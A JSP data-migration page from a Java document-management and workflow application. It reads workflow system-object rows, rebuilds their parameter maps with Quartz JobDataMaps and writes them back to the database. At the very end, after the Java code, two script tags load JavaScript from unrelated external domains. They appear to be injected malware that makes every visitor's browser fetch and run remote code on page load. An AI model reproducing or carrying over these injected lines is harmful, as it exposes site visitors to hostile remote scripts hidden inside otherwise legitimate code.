<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.* "%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="org.quartz.JobDataMap"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
Connection dbConn = null;
PreparedStatement preStat = null;
ResultSet rs = null;
List result = new ArrayList();

try {
  dbConn = DataSourceFactory.getConnection();
  WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, dbConn);
  WorkflowTrackParameterValueDAObject trackParameterDAO = new WorkflowTrackParameterValueDAObject(sessionContainer, dbConn);
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, dbConn);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, dbConn);

  StringBuffer sqlStat = new StringBuffer();
  sqlStat.append("SELECT A.ID, A.TRACK_ID, A.WORKFLOW_PROGRESS_ID, A.WORKFLOW_ACTION_ID, A.PARAMETER_OBJECT, A.BEAN_CLASS_NAME, A.OBJECT_ID, A.RECORD_STATUS, A.UPDATE_COUNT, A.CREATOR_ID, A.CREATE_DATE, A.UPDATER_ID, A.UPDATE_DATE ");
  sqlStat.append("FROM   MTM_WF_PROGRESS_SYSTEM_OBJECT A ");

  preStat = dbConn.prepareStatement(sqlStat.toString(), ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
  rs = preStat.executeQuery();
  int i = 0;
  while (rs.next()) {
    i++;
    Object obj = null;
    if ("com.dcivision.dms.bean.DmsDocument".equals(rs.getString("BEAN_CLASS_NAME"))) {
      out.println(rs.getInt("ID") + " - com.dcivision.dms.bean.DmsDocument:");
      try {
        obj = dmsDocumentDAO.getObjectByID(new Integer(rs.getInt("OBJECT_ID")));
        ((DmsDocument)obj).setDocumentDetails(docRetrievalManager.getDocumentDetailList(((DmsDocument)obj).getID()));
      } catch (Exception ignore) { LogFactory.getLog(this.getClass()).error(ignore, ignore); }
      out.println((obj == null) + "<BR>");
    } else if ("com.dcivision.workflow.bean.WorkflowProgress".equals(rs.getString("BEAN_CLASS_NAME"))) {
      out.println(rs.getInt("ID") + " - com.dcivision.workflow.bean.WorkflowProgress:");
      try { obj = progressDAO.getObjectByID(new Integer(rs.getInt("OBJECT_ID"))); } catch (Exception ignore) { LogFactory.getLog(this.getClass()).error(ignore, ignore); }
      out.println((obj == null) + "<BR>");
    } else if ("com.dcivision.workflow.bean.WorkflowTrackParameterValue".equals(rs.getString("BEAN_CLASS_NAME"))) {
      out.println(rs.getInt("ID") + " - com.dcivision.workflow.bean.WorkflowTrackParameterValue:");
      try { obj = trackParameterDAO.getObjectByID(new Integer(rs.getInt("OBJECT_ID"))); } catch (Exception ignore) { LogFactory.getLog(this.getClass()).error(ignore, ignore); }
      out.println((obj == null) + "<BR>");
    }

    if (obj != null) {
      JobDataMap dataMap = new JobDataMap();
      dataMap.put("WORKFLOW_OBJECT", obj);
      dataMap.put("WORKFLOW_PROGRESS", progressDAO.getObjectByID(new Integer(rs.getInt("WORKFLOW_PROGRESS_ID"))));
      dataMap.put("OBJECT_PARAMETER", new HashMap());

      MtmWorkflowProgressSystemObject systemObject = new MtmWorkflowProgressSystemObject();
      systemObject.setID(new Integer(rs.getInt("ID")));
      systemObject.setBeanClassName(rs.getString("BEAN_CLASS_NAME"));
      systemObject.setObjectID(new Integer(rs.getInt("OBJECT_ID")));
      systemObject.setTrackID(new Integer(rs.getInt("TRACK_ID")));
      systemObject.setWorkflowProgressID(new Integer(rs.getInt("WORKFLOW_PROGRESS_ID")));
      systemObject.setParameterObject(dataMap.getWrappedMap());
      result.add(systemObject);
    }
  }
  out.println("TOTAL:"+i);
  out.println("CONVERT:"+result.size());
} catch (Exception e) {
  out.println(e);
  LogFactory.getLog(this.getClass()).error(e, e);
} finally {
  try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
  try { preStat.close(); } catch (Exception ignore) {} finally { preStat = null; }
  try { dbConn.close(); } catch (Exception ignore) {} finally { dbConn = null; }
}

try {
  dbConn = DataSourceFactory.getConnection();
  WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, dbConn);

  for (int i = 0; i < result.size(); i++) {
    preStat = dbConn.prepareStatement("UPDATE MTM_WF_PROGRESS_SYSTEM_OBJECT SET PARAMETER_OBJECT = ? WHERE ID = ? ");
    MtmWorkflowProgressSystemObject sysObj = (MtmWorkflowProgressSystemObject)result.get(i);
    progressDAO.setPrepareStatement(preStat, 1, sysObj.getParameterObject());
    progressDAO.setPrepareStatement(preStat, 2, sysObj.getID());
    preStat.executeUpdate();
    dbConn.commit();
    out.println("OK : " + sysObj.getID() + "<BR>");
  }

} catch (Exception e) {
  dbConn.rollback();
  out.println(e);
  LogFactory.getLog(this.getClass()).error(e, e);
} finally {
  try { preStat.close(); } catch (Exception ignore) {} finally { preStat = null; }
  try { dbConn.close(); } catch (Exception ignore) {} finally { dbConn = null; }
}

%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>